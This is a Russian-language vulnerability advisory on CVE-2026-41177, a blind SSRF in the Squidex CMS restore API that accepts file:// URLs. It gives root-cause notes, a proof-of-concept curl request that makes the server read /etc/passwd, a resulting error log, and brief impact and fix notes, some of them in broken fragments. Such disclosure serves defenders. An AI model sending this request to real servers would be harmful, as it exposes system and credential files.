
CVE-2026-41177, слепая SSRF-уязвимость в Squidex CMS (до версии v7.23.0). Включает анализ первопричины, шаги воспроизведения и оценку воздействия в отношении взаимодействия с локальными файлами (LFI).
Техническое исследование и анализ CVE-2026-41177: уязвимость слепого межсерверного подделывания запросов (Blind Server-Side Request Forgery, SSRF) в API восстановления Squidex CMS.
/api/apps/restore)API восстановления Squidex уязвим к слепому межсерверному подделыванию запросов (Blind SSRF). Приложение не проверяет схему URI в параметре Url, предоставляемом пользователем, что позволяет использовать протокол file://. Это позволяет аутентифицированному администратору заставить серверную часть взаимодействовать с локальной файловой системой, что приводит к взаимодействию с локальными файлами (LFI) и потенциальному раскрытию конфиденциальной информации системы через побочный анализ внутренних журналов.
file:///etc/passwd).RestoreJob).204 No Content, внутренние журналы сервера показывают, что сервер успешно открыл и прочитал файл, прежде чем завершился с ошибкой, поскольку содержимое не было допустимым ZIP-архивом.Выполните следующую команду curl (замените <TOKEN> на действительный токен администратора):
curl -X POST http://localhost/api/apps/restore/ \
-H 'Authorization: Bearer <TOKEN>' \
-H 'Content-Type: application/json' \
-d '{
"Url": "file:///etc/passwd",
"Name": "exploit-poc"
}' -v
Следующая ошибка в журналах контейнера Squidex подтверждает внутреннее взаимодействие с файлом:
{
"logLevel": "Error",
"message": "Backup with job id 381bcfcb-3701-44d0-a8c8-ea43b3ec6271 from URL 'file:///etc/passwd' failed.",
"exception": {
"type": "System.IO.InvalidDataException",
"message": "End of Central Directory record could not be found.",
"stackTrace": "at System.IO.Compression.ZipArchive.ReadEndOfCentralDirectory()\n at System.IO.Compression.ZipArchive..ctor(Stream stream...)\n at Squidex.Domain.Apps.Entities.Backup.BackupReader..ctor(...) in BackupReader.cs:line 42\n at Squidex.Domain.Apps.Entities.Backup.TempFolderBackupArchiveLocation.OpenReaderAsync(...) in TempFolderBackupArchiveLocation.cs:line 57"
}
}
Примечание: InvalidDataException подтверждает, что сервер успешно получил доступ к файлу и прочитал его байты.
Эта уязвимость позволяет аутентифицированным злоумышленникам:
appsettings.json, секретов).http:// и https://.file://, перед обработкой.